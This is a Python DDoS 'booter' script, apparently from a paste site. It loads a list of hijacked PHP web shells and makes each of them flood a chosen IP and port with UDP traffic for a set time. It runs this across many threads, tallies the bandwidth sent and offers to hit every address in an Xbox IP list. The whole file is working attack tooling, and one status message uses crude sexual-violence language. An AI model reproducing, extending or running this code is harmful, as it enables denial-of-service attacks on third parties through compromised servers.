import threading, socket, urllib
from time import sleep
mbs = 0
packets = 0
threads = 0
def Hit(ip, port, time, shell):
global threads
global mbs
global packets
threads += 1
shell = shell.replace("\r", "").replace("\n", "")
try:
response = urllib.request.urlopen(shell + "?act=phptools&x=phptools&type=UDP&method=UDP&host=" + ip + "&ip=" + ip + "&port=" + port + "&time=" + time).read().decode('utf-8')
packets += int(response.split("Completed with ")[1].split(" (")[0])
mb = float(response.split("Completed with ")[1].split(" (")[1].split(" MB) ")[0])
mbs += mb
print(str(mb) + " MBs sprayed by " + shell + " at " + ip)
f=open("working.txt", "a")
f.write(shell)
f.close()
except Exception as e:
pass
threads -= 1
def Boot(ip, port, time, shells):
global threads
global mbs
global packets
threads += 1
for shell in shells:
if threads >= 376:
sleep(0.370)
thread = threading.Thread(target = Hit, args = (ip, port, time, shell,))
thread.start()
threads -= 1
fh = open("shells.txt", "r")
shells = fh.read().strip("\r").split("\n")
fh.close()
print("[+] Successfully loaded " + str(len(shells)) + " shells.")
attackall = "" # input("Attack all ips from xboxips.txt? ")
if attackall.upper().startswith("Y") == False:
ip = input("Target IP: ")
port = input("Target port [53]: ")
if port == "":
port = "53"
time = input("Time [120]: ")
if time == "":
time = "120"
attkthreads = input("Attack threads [4]: ")
if attkthreads == "":
attkthreads = 4
else:
attkthreads = int(attkthreads)
if attackall.upper().startswith("Y"):
fh = open("xboxips.txt")
ips = fh.read().strip("\r").split("\n")
fh.close()
print("[+] Raping " + str(len(ips)) + " connections. Get fuking fuckd ;)")
for ip in ips:
print("Hitting " + ip + ":" + port + " for " + time + " secs with " + attkthreads + " threads.")
for thread in range (0, attkthreads):
Boot(ip, port, time, shells)
sleep(0.2)
else: #this makes my OCD so bad omg
print("Hitting " + ip + ":" + port + " for " + time + " secs with " + str(attkthreads) + " threads.")
for thread in range (0, attkthreads):
Boot(ip, port, time, shells)
sleep(1)
try:
sleep(int(time) + 5)
except KeyboardInterrupt:
pass
while threads >= 1:
try:
print("Waiting for " + str(threads) + " threads to finish...")
sleep(10)
except KeyboardInterrupt:
break
pass
print("[+] Grand total of " + str(mbs) + " mb sent at " + str(float(mbs / int(time))) + " mb/s with " + str(packets) + " packets per second ^-^")
Comments
0 B
|👍
/👎